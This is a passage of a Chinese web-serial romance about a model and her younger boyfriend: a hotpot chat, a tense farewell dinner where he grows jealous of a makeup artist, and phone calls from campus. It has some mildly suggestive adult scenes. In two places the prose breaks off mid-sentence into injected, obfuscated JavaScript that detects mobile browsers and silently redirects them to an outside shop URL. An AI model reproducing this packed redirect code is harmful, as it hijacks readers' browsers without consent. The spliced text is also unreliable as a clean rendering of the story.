“人物专访,整体形式上比较简单,但是真要做出内容,主持人和邀约嘉宾都很重要,不容易。”付轻屿说,“两档节目,你这是要把自己的钱包和身体都掏空啊。” 何雨萌塞了口毛肚,两边脸吃得圆鼓鼓的,认真看着付轻屿,嚼了半天,“我本来想请你来做人物专访,现在得考虑新人选了。能去青峰的话,肯定要先选青峰。说不准,我扑腾一圈回来,得指望你罩着了。” 青峰的确是付轻屿的不二之选,但何雨萌有句话,还让她挺震惊的。 付轻屿疑惑,“我去做人物专访?萌姐,你对我没什么误解吧?人物专访,建立深度对话的信任才是核心,你觉得我能胜任?” 何雨萌毫不犹豫地点点头,“能啊,除了你,我还真没想到谁能胜任。” 付轻屿对何雨萌的疑惑,转移到自己身上。 “你对自己没什么误解吧?”何雨萌夹起肉片,绕着筷子甩了圈,放到辣锅里,笑着说,“你心里防备高,不喜欢依赖人,但是,别人还挺容易依赖你的,温柔的陷阱啊。” 付轻屿笑了下,“什么跟什么啊。” 何雨萌没再继续这个话题,“你模特的工作还在做吗?” “前两天刚签了奇亚,一个服装品牌,”付轻屿想了下,“他家饰品包包好像也挺有名的。” 何雨萌说:“他家沈则序也挺出名的。” “确实也挺出名的。”付轻屿没忍住笑了下,“八卦传得就是快,萌姐都知道。” 何雨萌摇头,“不止啊,奇亚这些年投资了很多圈里的项目。” 这个消息,付轻屿倒是没听说过。 桌上手机震动,付轻屿跟何雨萌说,“我接个电话。” 何雨萌点点头,没说话。 没什么好避人的,付轻屿没去外面,在饭桌上接了。 “想我没?”祁放藏不住事,今天声音明显扬过了。 付轻屿嗯了声,“科三考过了。” 祁放惊呼一声,“哇塞,你怎么知道我要说啥,心有灵犀啊。” 付轻屿没忍住笑了下,看着辣锅咕嘟冒泡,抬头招服务员加了点汤。 “你吃火锅呢?”祁放立即警觉起来,“和谁一起吃的啊?” 付轻屿没有在别人面前煲电话粥的癖好,选了个合适的词回他,“萌姐。” 祁放不认识,听到是个女生,松懈不少,“我有个事跟你说……” 付轻屿打断他,“等会儿,我回去打给你,吃饭呢。” 祁放愉快的“嗯”了声,“记得打,别忘了。” 见付轻屿挂断电话,何雨萌咳了声,“男朋友啊?” 付轻屿蹙眉笑了下,回想自己说过的几句话,就很平常的聊天。 何雨萌指了指她的脸,“苹果肌都要升天了。” 付轻屿疑惑,“有这么明显吗?” “下次打电话,你自己面前摆个镜子,看一眼就知道了。”何雨萌筷子一点,“你先别说,让我猜猜。” 付轻屿点头,夹了块豆腐吃。 何雨萌:“是个成熟稳重的暖男?” “不是。”付轻屿笑笑,是挺暖乎的。 “帅气多金的daddy型?” “不是。帅是挺帅的。” “话少踏实人夫型?” “不是。他话挺多的。” “还不是?”何雨萌盯着她,“你不会谈了个油嘴滑舌的坏男人吧?” 付轻屿摇头笑,“没有。怎么说呢?挺好的一个小男生。” “啊?姐弟恋啊?”何雨萌一脸吃惊,思索了下,点头肯定,“弟弟身体好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966569|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 付轻屿笑了笑,让她先吃东西。 何雨萌谈过年下,不成熟,磨合太累,床上是好用,平常真的被气个半死,没三个月就分了。 “认识过久谈的?”何雨萌说,“弟弟心性不长,你别一跟头扎里面。” 付轻屿最开始就想过这个问题,还是走一步看一步,及时行乐,“认识半年左右谈的。” “那还可以。”何雨萌又问,“不累?” 两人说着,一点不耽误吃饭,付轻屿又下了盘肉,“不会,挺好的。” 何雨萌看着她,没忍住笑了下,“看来比上一段谈得舒心,提起冯适,可没见你这样笑过。你都把我整好奇了,是个什么样的弟弟?” 上段感情,何雨萌知道时,两人已经到了拉锯战的环节,少有让人开心的事。刚在一起时,应该也挺开心的,付轻屿已经记不清了。 “怎么说呢?”付轻屿想了想,“刚刚好。有点像猫,脑袋里不少小主意,又像小狗,挺粘人的,藏不住事。很舒服,很安心。” 何雨萌调侃了两句,没再继续这个私人话题。 两人又聊了聊工作上的事,看了部上映不久的电影,就此分别。 到家后,付轻屿给祁放回过电话,煮了几个元宵节剩下的汤圆。 “做音乐吗?” 祁放嗯了声,“酒馆老板要做,弄着玩,他会制作Demo,前一阵学了编曲,常见的几个乐器想让我跟飞哥跟着走一遍。虽然是弄着玩,也别闹笑话嘛,他一开始学编曲,吹奏乐器不给人留气口,都给吹笛子的人气笑了。等填好词后,人声部分也让我来。” “挺好的啊,你喜欢就做。”付轻屿咬一口汤圆,黑芝麻的浓香滚到嘴里,甜到心头,故意逗他,“也不知道第一次见面,谁说的不会唱歌,不懂音乐。结果,转头小提琴拉得贼溜,还干上驻唱了。” 祁放抿着嘴笑,有名分后,之前那点小心思就敢光明正大往外摆,“还不是想着跟你多待会。” 元宵节过完,也快回来了。付轻屿问:“什么时候开学?” “想我啦。”祁放给她打了个哑谜,“快了吧,也就还有个四五六七八九天。” 祁放不说,想着科四考完就过去,给她个惊喜。 惊喜没惊喜上,让老莫给抖搂出来了。 付轻屿签约奇亚后,想着跟老莫,还有IKI几个关系不错的同事吃顿饭,无意间,听到了祁放的拍摄安排。 祁放拍摄完,换好衣服出化妆间,看到付轻屿的瞬间,吓了跳。 老莫收起相机,拍了祁放一巴掌,“还是你小子会赶,正好收工了,你姐请客吃饭。” “啊?”祁放想重新介绍他和付轻屿的关系,“她……” 付轻屿手疾眼快,捏了捏他的胳膊,将话题打住。 祁放做事有些莽撞,却是个人精,付轻屿一个眼神,他就明白什么意思。 明白是明白了,心里不爽。 他很拿不出手吗?干啥不让说? 付轻屿身边接连不断地来人,不是叙旧就是瞎扯。祁放想问,也找不到机会,只好冷脸走到一旁等。 菜都上齐了,祁放也没等到机会问付轻屿。 惊喜没了,又被浇盆凉水,发配冷宫,祁放心里要多不爽有多不爽,看老莫都觉得不顺眼。 这顿散伙饭,付轻屿请了十来个人,在公司附近的炒菜馆吃的。 祁放坐在她身边,脸色已恢复如常,想着消停吃饭,没人的时候好好问! 桌上十几熟人,这顿饭肯定吃不消停。 老莫喝得面红耳赤,火上浇了把油,“哎,小年,你这怂的,轻屿都要走了,你不说点啥?” 老莫嘴里的小年是个化妆师,叫年燧,个子不高偏瘦,一头蓝发,脑后半扎个丸子头,长相偏俊秀,耳朵上打了不少钉子。 从长相来说,的确符合付轻屿之前的审美。 还有他看付轻屿的眼神,太不对了。 祁放看向付轻屿,似笑非笑,挑眉示意,“你最好说点啥。” 39. 39 “哎哎哎,怎么回事,这里面还有故事呐?” “莫哥,你话说明白点,横着来一嘴,我们都不知道啥事?” “小年和轻屿,有故事呢?” 还没等付轻屿开口说话,桌上一人搅和一句,没事都快说成有事了。 老莫脸蛋子红的跟猴屁股一样,喝得飘飘乎,正是上头那股劲,嘴里的话不着四六,也跟着起哄,“我也不知道怎么个事啊,俩正主在这呢,你们别逮着我问啊。” 桌上这群人,就属年燧性子腼腆。他抬头扫了眼付轻屿,见她一手撑桌揉着太阳穴,又低头抿了下嘴。 付轻屿有点烦了。 祁放嘴角撇着个难看的笑,后槽牙咬紧。 “我年纪小,初来乍到时,轻屿姐帮了我很多,莫哥知道。没来IKI的时候,我们三个就认识了,老搭档。眼下轻屿姐要走了,我肯定得陪一杯,祝轻屿姐前程似锦。”年燧举了杯酒,他这些场面话,差不多都是跟付轻屿学的,也不会别的了,“轻屿姐,我敬你一个。” 年燧染发打钉,看着不好惹,一开口,性格就藏不住了,心细也挺敏感的,说话都放不开。不管哪个行业,嘴甜肯定吃香,他这性子,没少遭同行挤兑,胜在化妆技术。 饭桌上这些人都不是吃素的,老莫前面炸了个雷。年燧这场面话,有些糊弄不过去。 “哎吆,小年,你这么说可就没意思了。” “温声细语的,我都没听清啥话。” 老莫也跟着搅和,装得跟个情圣一样,“小年,你可别说哥没帮你。” 年燧瞧了眼付轻屿的脸色,急忙跟老莫说:“哥,你别在这胡乱搅了。” 老莫拔高声音“哎”了声,“怎么是我乱搅呢,你……” 付轻屿出声制止,“老莫,你行了哈,一喝点酒就逗他,你老跟他闹什么。他年纪小,你三十来岁了,也没数是吧?” 付轻屿声音不大,直直盯着老莫,看他的背后发凉。 老莫打了个哈哈,“开玩笑嘛,这么认真干啥,开玩笑开玩笑。” 付轻屿做东的场面,这话一出,也没人跟着起哄了。 年燧还端着那杯酒,不知道是喝是放。 年燧旁边坐了个没眼力见的,“小年,你喝啊,你们这交情,一杯可不够,少说也得三杯吧。” 付轻屿心里骂了句脏话,下次再请客,谁说喝酒都没用,全换成果汁。本来就不太喜欢这种场合,再加上点酒,更烦人了。 “抿一口行了,他喝不了,别灌他。” 付轻屿这话一出,祁放气笑了。行行行,他喝不了,这还护上了。 众人视线一齐落到祁放身上,他笑了笑,顺便给付轻屿打圆场,“不是开玩笑吗,别这么严肃啊。” 桌上几个活跃气氛的,就此撤开话题。 付轻屿看过去,祁放给她笑了一个,瞬间冷脸转头。 话题是转过去了,付轻屿头疼加倍,转眼看到年燧偷瞄她的眼神,瞬间想一头撞死在桌上。 桌上话题轮转一圈,很快把这茬带过去。 一群人聚在桌上,话题绕来绕去,最后能说到一起的,跑不出事业和爱情两件事。 祁放也跟着说说笑笑,非必要情况,不接付轻屿的话。他自知道自己什么德行,生气时,说话总是脱离大脑控制,眼下开口,八成会让付轻屿下不来台,所以还是闭嘴为好。 不知道谁开的头,聊到了理想型,话题转到付轻屿这,纷纷开始八卦。 祁放罕见地开口,“轻屿姐,理想型是哪一款啊?” 付轻屿能听出他话里的阴阳怪气,挺想给他一巴掌的。 年燧听到这个话题,不由的攥紧水杯,耳朵支起来,瞧了付轻屿一眼。 祁放看他冒火,呵了口气,心说:“你小子最好老老实实待着,不要有一点动作,挺想给你一巴掌的。” 付轻屿说:“没什么理想型,谈到啥算啥。” 什么叫谈到啥算啥? 祁放灌了口酒,感觉自己喝的是柴油,火气蹭蹭蹭地长,扪心自问,他算啥? 这火气压也压不下去,祁放站起身,惨笑了下,“我去个卫生间。” 付轻屿没打算跟去,想了想,又怕他把卫生间拆了,最后还是去看了看。 祁放没去卫生间,杵在走廊旁的窗户前。 付轻屿轻声走过去,还没到人跟前就被发现了。 祁放余光瞧她一眼,“吆,不在里面看着啊,万一他们灌小年酒喝,咋整?” 付轻屿听他说话欠抽,抬手想拍他。 祁放闪到一旁,“哎?轻屿姐,你可别对我动手动脚的。没听老莫说嘛,表姐弟,咱俩沾亲带故的,你要摸我,这不乱套了吗?” 付轻屿又气又笑,“非得这么说话是吧?” 祁放就是憋屈,硬气道:“我跟表姐就是这么说话。” “那你表姐没少生气。”付轻屿看着他,又不忍心说别的。 付轻屿知道他憋屈,她没想把饭局订到今天,事赶事,就这么赶到一起了,实在是没调派开。祁放憋了这么天,想着来给她惊喜,惊喜被撞飞了不说,饭桌上还整了这么一出,她要是祁放,她也委屈。 私下没人,付轻屿想拉过祁放顺顺毛,亲一下,这么多天没见,她也挺想的。 祁放就跟受了气的驴一样,死活不让她碰。 付轻屿无奈,将车钥匙丢给他,“不想吃饭就去车里等,消消气,等会我好好跟你说。” 祁放看付轻屿回去,又站了会,实在不愿意回包间,自己拿着车钥匙下楼了。 付轻屿忘告诉他车停哪了,祁放闷着气,也不发消息问,硬是找了一个多小时。 找的气都快消了。 祁放想着自己刚拿的驾照,又有点臭屁,把车开到饭店门口停下,坐在车里等。 半个多小时后,先是老莫晃晃悠悠地走出来,又一窝蜂地出来不少人,付轻屿和年燧最后。 祁放看着两人说话,消下去的火又窜上来,刚想下车,两人就抬手告别了。 见付轻屿往反方向走,祁放拍了下喇叭。 付轻屿这才看到车被开过来了。 “反正都开车了,不送送小年啊?人家一个人回去,你放心的下吗?” 付轻屿打开车门,刚想夸他,被一句话噎了回去。“不顺路。” 祁放点头,“幸亏我跟轻屿姐一个小区,还能顺路回去,沾了顺路的光。” “我真想把你踹下去。” 祁放不知道被踹到了哪根神经,抬手解开安全带,就要下车。 付轻屿一把给人拽回来,“能好好说话吗?” 祁放没想哭,被付轻屿一拦,脑袋撞到车顶上,“哐”的一声,给眼泪撞出来了。他抬手,狠狠擦了两把,又搓了搓脑袋。 付轻屿一手按着祁放,伸出另一只手,又够不到副驾驶的门。她语气软下来,“关好车门。” 祁放犹豫了下,把车门带上。 刚才撞的一声不轻,付轻屿想看看有没有事,祁放拧着脑袋不给看。 “该提前跟你说的,今天这事闹得,挺不好。”付轻屿去拉祁放的手,他攥成块石头,不给牵。 付轻屿没收手,出了布,将石头包起来,按在手里把玩,“能先听我说几句话吗?亲也不给亲,抱也不给抱,说两句话,总可以吧。” 祁放偏过头不看她,“说吧。” “不知道你对‘同事’这个词有没有概念,至少在我这,同事跟朋友是不一样的,如果只有老莫和小年在……”话说到这,祁放想抽回手,付轻屿按住没放,“只有这两个朋友在,没有别的牵扯,怎么介绍咱俩的关系,都没事。” 付轻屿说着,透过车窗倒影瞧了眼祁放的小表情,可怜坏了,“今天你也看到了,没事都快说成有事了。咱俩关系一摆,这个话题绝对下不了桌,能从头讨论到尾,里里外外给你挖一遍,以后跟他们见面,少不了八卦。 在我这,感情是个很私人的事。这事上,我开不起玩笑,更不喜欢别人问东问西。老莫要是知道了,大家也就都知道了,所以我不想说。 我提前给你交代清楚,以后可能还会遇到这种情况。感情需要磨合,你再考虑考虑,实在接受不了,也别强迫自己。” “你什么意思?”祁放转头盯着她,心口被这话狠狠捏了一把,又疼又酸,“你是要跟我分手?我接受不了,你就要跟我分手?对你来说,分手就这么容易说出口的吗?你说的好听,只会把难题甩给我。” “我不是想和你分手,我是想让你自己考虑清楚。这件事上,我确实没法让着你,我没法满世界的跟你秀恩爱,如果每次都因为这事吵架,”付轻屿看他一眼,“你难受,我也跟着难受,来回吵来回闹,就没必要了。” 祁放眼底猩红,转头看她,语气倒是缓下来,“你也难受了?” 付轻屿将他掰过来,朝向自己,“废话,我能不难受嘛。看你这样,我心疼。” 祁放垂眼,“你就会说这些好话哄我,哄得我跟傻子一样。” 石头松了劲,付轻屿牵住他的手,“精的跟小狐狸一样,你还傻。” “我不傻,我跟你谈地下恋,你说谈啥就谈啥。”祁放瞪她一眼,偏过头去,“你说跟他没事就没事,等你带人回家,跟我说是你表弟,你俩睡床上,我睡床底。” 付轻屿哭笑不得,“我跟小年真没啥。” 祁放使劲夹了下她的手,撇嘴,“你说没啥就没啥,也不用解释。我是狐狸精,我人精,我都信。” 付轻屿被他这小样迷糊住了,拉过他的衣服,想要亲一下。 “你今天别想亲我。”祁放将她手拿开,“你跟小年没啥,人家看你,眼神都要酿出蜜了。” 付轻屿拉过他,狠狠亲了口,转头打火开车,不忘提醒道:“安全带。” 祁放没反应过来,跟个二傻子一样,呆愣两秒,搓搓头发,系好安全带。 付轻屿问:“想听什么?” 祁放硬气道:“全都听。” 付轻屿嗯了声,“上大学的时候,我和老莫先认识了年燧的男朋友阿姚,是个化妆师。年燧当时还没成年,家里条件不好,妈跑了,他爸家暴。他跑出来被阿姚捡了回去,带在身边玩。 阿姚私下是个混子,但能管年燧吃喝,工作也带着。年燧人不傻,跟着学了不少化妆技巧,帮阿姚干活。我跟老莫就是这么跟年燧认识的。 后来有一次,阿姚问我们借钱,这才知道,年燧被他玩进医院了。” 祁放听得有些傻眼,付轻屿伸手揉了揉他的脑袋,“我最开始和你一样,也在小档口做模特拍平面,接触到的人很杂。” 祁放理理头发,“然后呢?” “然后,怎么说呢?阿姚化妆技术好,要价低,合作过的店铺老板喜欢他这样的人,但他私下真挺混的。 年燧住院的时候刚成年,弄那一身伤,实在让人看不下去。我跟老莫,怎么说呢,年轻气盛?圣母心泛滥?反正就是看不下去了,一人拿了五千块钱,就当做好人好事,给年燧租了间房,留了点钱,劝他离阿姚远点。 那事之后,年燧还没等出院,阿姚先进去了。年燧出院后,学了化妆,挣了钱就还给我和老莫,有的时候也一起工作,没断过联系。 毕竟他小,有时候,我和老莫也捎带照顾他点。 想不起是哪个阶段,这孩子长歪了。” “你处处留情,也不怪人家长歪。他跟你表过白?”祁放转念一想,“不对啊,你那时候不是跟冯适在一起吗,他他他,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966570|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么回事?” 说到这,付轻屿更头大。祁放和年燧还要一起工作半年,付轻屿说了个善意的谎言,“年燧那时候不知道。” 祁放‘嗷’了声,“他要是知道,还敢跟你说,我打死他。不对,该让冯适打死他。” 付轻屿揉了揉太阳穴,年燧那几句‘告白’,真给她留下心里阴影了。 年燧生长环境不好,存活都是个难题,有些观念也跑偏了许多,道德感跟不上。当时,年燧知道付轻屿有男朋友,无意间听到过来两人吵架,知道了她的取向。年燧告白时,就是奔着当三去的,付轻屿吓得目瞪口呆,连连拒绝。他以为付轻屿嫌他脏,转头又说可以给她玩别的,当条脏狗。 天知道付轻屿当时怎么过来的,她看着三层高的楼梯,感觉五雷轰顶,只想一头栽下去。 那天晚上,付轻屿跟年燧说了四五个小时,给他三观大体塑了个型。年燧学到很多,虽然不能完全理解,但知道自己是作为一个男人被拒绝的,跟其他一切都没关系,只是不喜欢,不来电。 那是他第一次有了被尊重的感觉,所以,他后来一直很尊重付轻屿的想法,没再越界。 “我和年燧算是朋友,不会有什么,也不可能有什么。”趁着红绿灯,付轻屿拉拉他的手,“你跟他一起工作,别翻醋坛子。我们之前拍摄的时候,你也见到过他,我俩真有啥,你这机灵劲,能看不出来。” “我在你心里就是那种胡闹、蛮不讲理的人啊。”祁放使劲捏她手,“我之前大意了,你是没看他的眼神,非常不对劲。” “我不看他。”付轻屿抽回收开车,“只顾着看你了,哪有空看他。” 祁放抿着嘴偷笑了下,又清清嗓子,“说得好听。他要敢来招惹你,我是不会跟他客气的。” 付轻屿笑:“好好好,有你在这守着,谁敢来招惹我。” 付轻屿以为哄好了,下了车,祁放还是倔驴一个,不给碰。 “哎?你出戏了,我可没出戏。”祁放故意离她半米远,“你别总是动手动脚的,表姐弟表姐弟,都乱套了,影响不好。” 付轻屿踢了他一下,“闹腾。” “反正今天不给你亲,也不给你抱。”祁放说,“我带了些卤味,去拿给你。” “我跟你一起。”付轻屿说着,跟他一起上去。 颜泠没在家,祁放从冰箱拿出不少食盒装袋,跟着付轻屿一起拎回家,全程保持着半米距离。 回到家,付轻屿习惯性地先洗了把手。 祁放忙着在厨房收拾,清了清冰箱,又把食盒摆好,连带台面一起整理了。 付轻屿站在客厅看他,没忍住笑了笑,真是找了个宝贝来。 祁放回头,“笑什么?” 付轻屿歪头看他,“开心。笑自己眼光好。” 祁放傲娇的“哼”了声。 “真不给亲啊。” “不给。” 还挺考验人的,付轻屿笑笑,摸出根爆珠抽。 祁放擦擦手,走到客厅,“我也要抽。” 付轻屿目光从绿植上移开,“你会抽?” “不会。我学。” “别什么都学。”付轻屿朝他走,“给你抽一口行了。” 付轻屿抬手举到他嘴边,看祁放想咬烟头,又扯开了。“坐沙发上,我教你。” 祁放醋劲没消,故意拧着说话,“站着不行吗。” “站着不好教,熏眼睛。”付轻吸了口烟,抬眼示意沙发,“等会该给你熏哭了。” 祁放不吭声地坐过去。 付轻屿摸他下巴,祁放躲她,不让摸。她笑着问:“不学了?” 祁放瞪她一眼,不闹了。 付轻屿故意用手指在他嘴唇上蹭了蹭,顺着唇缝溜进去。祁放有一颗不算标准的小虎牙,付轻屿摸了摸这颗獠牙,指尖有意无意地蹭着软舌。“牙挺尖。” 祁放刚想说话,付轻屿手指溜进去,挑逗他的舌头,跟接吻不一样,怪怪的。他感觉自己嘴里被弄出水来,有些想躲。 付轻屿抽了口烟,居高临下地看着他,语气平淡,“咽下去。” 祁放下意识做了吞咽动作,反应过来,又瞪她一眼。 付轻屿笑着把他舌尖顶到上颚,“吸进嘴里后,就像这样吸气,吸到受不了了,吐出烟。” 祁放反应了一下,微微点头。 付轻屿把手指换到他舌尖上,“会吸气吗?吸一下。” 祁放蹙眉看她,眼神在问:“手指在怎么吸?什么啊?” 付轻屿不说话,又吸了口烟。 祁放虽然不理解,还是按照她说的做了。舌头裹着食指吸了一遍,可能吸得太用力,碰到了喉咙旁边,祁放呛出眼泪,急忙给她手拿开,咳了两声。 付轻屿给他擦了擦泪,“吸这么用力干啥?” 祁放蹭了下嘴,“你不是说,要吸到受不了吗?” “……”付轻屿笑笑,将烟递到他嘴边,“尝一口吧。” 祁放按她方才教的方法吸了口,给自己呛得不行,差点咳死。 “还学吗?” 祁放摇头,“算了,我回家了。” 付轻屿问:“什么时候开学?” 祁放站起身往走,“明天早上。” 付轻屿看着祁放按电梯,倚门框问他,“真走啊?留你一晚。” 祁放没忍住回头看她一眼,又硬气道:“走。惩罚你。” “别知道个词就乱用。”付轻屿说,“给过你机会,下一次想留下,可就难说了。” 祁放支棱起小耳朵,脑子飞速旋转,还没想明白,电梯门先开了。 付轻屿拉过房门,给他留了句话,“明天早上过来,带上早饭,给亲给抱的话,可以考虑送你去上学。晚安不送。” 40. 40 付轻屿一句‘晚安不送’,祁放一晚上没睡好,翻过来调过去地想,满脑子都是明天早上送饭。 一进电梯,祁放就反悔了,快二十天没见,矜持个屁呢!反过来又想,今天这事确实烦人,他得自己冷静冷静,也得让付轻屿知道,他才不是呼之即来挥之即去的小狗,他可是有脾气的。 祁放翻了个身,要是明天早上付轻屿主动亲他,他就勉为其难地接受‘地下恋’模式。 结果,早饭没送成,更别说亲不亲的事了。 时尚红毯的主持工作,通知早上八点开会,跟祁放上课时间冲撞。 活动流程还没定好,不知道负责人怎么想的,临时又要把主持人都叫过去,说是一起商讨。凌晨发的通知,付轻屿没看到,一早被电话叫过去的。 祁放刚做好早饭,就收到付轻屿要去工作的消息,气得一人吃了两份。 昨晚有点后悔,现在是后悔死了,祁放叹气,以后再也不搞什么矜持了。吃醋生气的话,直接在付轻屿面前撒泼打滚吧。 大一下学期的课表,周一到周四几乎是满课,周五和周六只有一堂早八。祁放盯着周六的早八水课,这堂课太考验人了,去掉它,就是个三天小假期。 “在忙吗?”祁放跟在舍友后面,正往食堂走,没忍住给付轻屿打了个电话。 付轻屿还没说话,两个舍友回头,一人调侃了一句。 “又打上电话了。” “你看这么勤,小心给你女朋友看烦了。” 祁放冲两人笑了下,没搭话,转头问付轻屿:“烦吗?” 付轻屿不答反问:“你舍友?” “嗯,舍友。看我给你打电话,嫉妒了。”祁放追着问,“烦吗?烦吗?” “没,稀罕着呢。”付轻屿笑,“跟舍友关系不错。” 祁放是四人寝,舍长跟本专业的女生谈恋爱,两人整天形影不离,剩下他们三个,上课吃饭基本都是一起。 “还不错,他们人都挺好的。”祁放想起颜泠之前问他的话,又笑,“你可别和我姐一样,以为我在学校挨欺负。我都多大个人了……” “同学。” 祁放还没说完,手臂被拍了下,转头看到一个女生,个子不高,拿了两个手机。他下意识问了句,“怎么了?” “同学,不好意思,打扰你了。”女生指了指不远处的女孩子,又把手机二维码举到他面前,“我朋友看你很有眼缘,可以加个联系方式吗?” 祁放摆手,举了下手机,“不方便,我在和女朋友打电话。” “啊?”女生懵了下,“对不起,不好意思。” 祁放笑着说:“没事。走了。” “挺受欢迎。” 祁放哼了声,“没办法啊,谈了个恋爱,还不能公开。我这地下小情人啊,可怜。说自己有女朋友,还被人怀疑真假。” 祁放小脑瓜一转,又说:“你回母校看看吧,戴个口罩墨镜也行。你陪我逛一圈,绝对能杜绝今天的意外情况。” 付轻屿声音淡淡的,听不出什么情绪,“这么说,我不给你打个标,你就管不住自己了?” 祁放低着头走,“不是啊。你打了标,我就能出去嘚瑟了。” “是吗?那就看看吧,看你能不能管住自己。”付轻屿顿了下,又问,“今天这种情况,挺多的?” 祁放听出付轻屿情绪不对,实话实说:“路上要联系方式的,一个月有几个。大家喜欢在校园墙上捞人,我在墙上发过‘有女朋友,勿扰’,可能有些人没看见。我一开始也不知道校园墙,还是舍友告诉我的。” 付轻屿“嗯”了声,“这是你的事,管不住自己就算了。” “管得住,”祁放傻笑,“醋了?” 付轻屿说:“没醋。你心野了,我也管不着。” “我这就去吃盘饺子,醋都省了。”祁放笑了下,又叹气,“你别老说算了算了,我听着,心里挺不得劲的。年燧那事,就当着我面闹的,你倒是随随便便过去了。心早栓你那了,还能往哪野,你老说算了、好好考虑,把我往外推……” 付轻屿沉默了会,听祁放压着声音说了句,“我比你难受。” 付轻屿听了,心里也不是滋味,“嗯,以后不说这话了,你就好好栓我这。想你了。” 祁放垂眸笑:“我也想你,天天想。” 付轻屿问:“周六回来,还是周天回来?” “周六上午有课,还要去酒馆,录几个音。”祁放说,“等录完,我就去找你。青峰卫视的海选过了吗?” “对我这么没信心?” 祁放笑:“肯定过了。” 年燧那事没过去,付轻屿只是被打乱了计划,就搁浅了,“祁放,有没有什么想要的?” “啊?” 祁放“啊”这一声,又憋了半天没说话。 付轻屿听出点不对劲,笑了笑,“别想黄色废料,来真的,你又不让。” 往食堂走的路上都是人,祁放听完都不敢抬头,是真不好意思了。他压着声音说:“我没不让……哎吆,我没想这个。” “先别想了。”付轻屿让他别想,自己却不由想起了祁放醉酒时的画面,真心笑了笑,“见面再说吧。” 祁放“嗯”了声,“我下午要去画画,画完给你发消息。” 付轻屿应了声“好”。 做事的时候,两人都不喜欢被打扰,每次要去忙了,就给对方留个信,等忙完再留个信。不谋而合的小习惯,刚刚好,好得像是命中注定。 付轻屿看着挂断的电话,深呼一口气,“完全是喜欢的类型啊。” 二月底,付轻屿手指轻弹日历,祁放的生日,该挑礼物了。 —— 陈昊飞周六没课,一早去到酒馆,把架子鼓的编曲顺了遍,该做调整的地方做了调整。 “东叔呢?”祁放看陈昊飞一人摆弄吉他,匆匆扫了两眼,把门锁搭上,“怎么就你自己?” 酒馆老板给自己抬辈分,三十出头的人,嫌弃哥不好听,非得扯个‘叔’字,才有了东叔这个称呼。 “去厕所了。”陈昊飞抬头看他,“鼓、笛子还有些吹奏类的,我都看了一遍,其他的,你再过一遍。人声没我的事,一会先走了。” 祁放将手里的东西放下,“快中午了,不一起吃个饭啊?” 陈昊飞挑了下眉,“女朋友等着呢,下次吧。” 祁放看他一眼,无奈地说:“跟我嘚瑟个屁,你去跟灿儿说。” “哎?那不找打吗。”陈昊飞说着,祁放抬手,两人欠欠地击了个掌。 “东叔说,等歌做出来,周六周天过来驻唱,工资翻倍,按小时算。”陈昊飞问,“你怎么个意思?” 祁放点点头,“我都可以,有空就过来呗,有钱赚,也当放松放松。” “行。”陈昊飞收拾好东西,“东叔想让咱俩帮忙宣传一下,发两条视频,看自己的意思。你要不想注册视频软件,就不弄,我发就行。” 祁放不觉得是个事,“你把软件推我,等歌做出来发呗。” 陈昊飞点头,“走了。” 祁放给付轻屿发消息,把自己在哪,要干什么,有的没的发了不少。见东叔出来,他最后发了句,“要去干活了,弄完给你发消息。” 付轻屿回了个好,祁放才放下手机。 几个会玩的乐器,祁放简单过了下。东叔把编曲的最终版发给朋友,让专业人士看一眼,毕竟是要往外发的东西,也不能弄的太外行了。 中午饭,东叔和祁放简单对付一口,下午就去录歌了。 歌唱得不少,第一次正式录人声,祁放往录音棚一站,真紧张了会。 差不多磨了四个小时,才录好了这首歌。 祁放拿着瓶子灌了口水,经过一下午的摧残,对自己发出灵魂质问,“真喜欢唱歌吗?” 东叔拍拍祁放的肩膀,“辛苦了,非常棒。说吧,晚上想吃什么,东叔请你吃顿好的。” 祁放有气无力地歪了下头,他现在只想抱抱付轻屿。“吃饭就算了,我和女朋友约好了。” 刚才是轻轻一拍,听完这话,东叔卯足了劲,用力拍下一掌,“你小子什么时候谈的女朋友,没看出来啊,朋友圈是不是把我屏蔽了?” “没有,没发。”祁放挺想给他扯个笑的,实在太累了,没扯出来。 东叔“啧”了声,又叹气,“我懂,你这个年纪正是爱玩的时候。哎,等到后悔时,可就晚喽。” 祁放长长叹了口气,爱玩的年纪吗?差五岁,不知道付轻屿这个年纪,还是爱玩的时候吗? 付轻屿不愿公布恋爱的想法,他稍微能理解了。工作一天,已经够累了,实在没心情照顾别人的八卦心。 “哎,现在不珍惜,再等几年,到了我这个岁数,可就晚喽。” 话又说回来,这种时候八卦一下别人,听点故事,确实不错。祁放又灌了口水,给付轻屿发过消息,跟上东叔,“有故事啊?讲讲呗,就当开导开导我了。” 东叔带祁放回酒馆,一路上,讲起自己的感情史,讲得那叫一个痛彻心扉,痛哭流涕,后悔莫及。 祁放听着,偶尔回应几句。他尽量站在一个较为客观的立场来听,人在回忆的时候,总喜欢包庇自己,听其中一方讲感情上的事,也不能全信。 “不过,为什么说年纪大一点,就喜欢谈比自己小的?”祁放疑惑,“这跟年纪有什么关系?” 东叔泪眼婆娑,还没从回忆里走出来,叹息道:“也不全是,谈年纪小的,不用时刻想着到岁数了,该考虑结婚了,一脚踹掉,也没多大压力。我年纪小的时候,还谈过一个姐姐……” 东叔抹了两把泪,“我都想结婚了,结果人家只是玩玩。我……呜呜……” 